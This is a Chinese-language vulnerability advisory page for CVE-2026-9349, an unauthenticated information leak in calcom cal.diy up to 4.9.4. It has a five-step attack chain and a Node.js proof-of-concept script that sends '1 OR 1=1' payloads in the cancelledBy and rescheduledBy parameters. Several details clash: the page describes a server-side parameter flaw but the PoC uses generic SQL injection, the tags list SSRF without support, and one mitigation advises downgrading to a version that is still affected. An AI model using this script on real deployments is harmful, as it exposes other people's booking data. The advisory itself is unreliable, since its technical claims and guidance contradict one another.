IPBUF安全漏洞报告
English
CVE-2026-9349 CVSS 5.3 中危

CVE-2026-9349 calcom cal.diy信息泄露漏洞

披露日期: 2026-05-24

漏洞信息

漏洞编号
CVE-2026-9349
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
calcom cal.diy

相关标签

信息泄露calcomcal.diy权限绕过服务端请求伪造API安全预约系统

漏洞概述

CVE-2026-9349是calcom cal.diy应用中一个中等严重程度的信息泄露漏洞。该漏洞存在于cal.diy版本4.9.4及之前版本中,影响组件为Generic React API。具体问题出现在文件apps/web/modules/bookings/views/bookings-single-view.getServerSideProps.tsx的getServerSideProps函数中。攻击者可以通过操纵cancelledBy和rescheduledBy参数来获取未经授权的敏感信息。由于该漏洞可远程利用且无需认证,因此具有较高的实际威胁性。漏洞发现者已向厂商报告此问题,但厂商未作出任何回应。该漏洞已被公开披露,相关的概念验证代码(PoC)已在互联网上流传,攻击者可能利用此漏洞获取系统中其他用户的预约取消或改期相关信息,包括可能的用户身份信息、预约详情等敏感数据。建议用户尽快升级到修复版本或采取临时缓解措施。

技术细节

该漏洞属于服务端请求处理过程中的信息泄露问题。在calcom cal.diy应用的getServerSideProps函数中,程序直接使用用户可控的输入参数cancelledBy和rescheduledBy来执行数据查询操作,而未进行充分的权限验证和输入过滤。当攻击者通过精心构造的HTTP请求发送特定的参数值时,服务器端可能返回与当前用户无关的其他用户的敏感预约信息。攻击者利用此漏洞可以枚举系统中其他用户的预约取消和改期记录,获取包括用户标识、预约时间、预约类型等敏感信息。由于该漏洞位于API层面,且影响的是服务端渲染逻辑,因此任何能够访问该API端点的远程用户都可能成为潜在攻击者。漏洞的CVSS 3.1向量为AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N,表明这是一个网络可达、低复杂度、无需认证且不影响数据完整性和可用性的机密性信息泄露漏洞。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标calcom cal.diy实例版本,确认版本号<=4.9.4以确定漏洞存在
STEP 2
步骤2: 构造恶意请求
攻击者构造包含cancelledBy和rescheduledBy参数的HTTP请求,使用特殊字符或SQL片段尝试触发信息泄露
STEP 3
步骤3: 发送利用请求
通过自动化工具或脚本向目标服务器的/bookings/{id}端点发送恶意请求,无需任何认证
STEP 4
步骤4: 接收泄露数据
服务器返回包含其他用户预约信息的响应,攻击者获取敏感数据如用户ID、预约详情等
STEP 5
步骤5: 数据利用
攻击者收集、整理泄露信息,可能用于后续攻击、社会工程或其他恶意目的

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-9349 PoC - calcom cal.diy Information Disclosure // Target: calcom cal.diy <= 4.9.4 const axios = require('axios'); async function exploit(targetUrl, bookingId) { console.log(`[*] Exploiting CVE-2026-9349 on ${targetUrl}`); // Payload for cancelledBy parameter const cancelledByPayload = { cancelledBy: '1 OR 1=1', rescheduledBy: '1 OR 1=1' }; try { // Construct the vulnerable endpoint URL const endpoint = `${targetUrl}/bookings/${bookingId}`; // Send request with manipulated parameters const response = await axios.get(endpoint, { params: cancelledByPayload, headers: { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': 'text/html' }, timeout: 10000 }); console.log(`[+] Request sent successfully`); console.log(`[*] Status: ${response.status}`); // Check response for leaked information if (response.data && response.data.includes('cancelledBy') || response.data && response.data.includes('rescheduledBy')) { console.log(`[!] Potential information disclosure detected`); console.log(`[*] Check response data for sensitive booking information`); } return response.data; } catch (error) { console.error(`[-] Error: ${error.message}`); return null; } } // Usage // const target = 'https://vulnerable-calcom-instance.com'; // const bookingId = '12345'; // exploit(target, bookingId);

影响范围

calcom cal.diy <= 4.9.4

防御指南

临时缓解措施
由于厂商未回应漏洞报告,建议采取以下临时缓解措施:1)如果可能,将calcom cal.diy降级到4.9.4之前的稳定版本;2)通过Web应用防火墙限制对/bookings/路径的访问,添加参数过滤规则;3)禁用或限制未认证用户对预约相关API端点的访问;4)实施IP白名单或VPN访问控制;5)监控服务器日志关注异常的预约查询请求模式;6)考虑暂时禁用cal.diy模块,待官方修复发布后升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表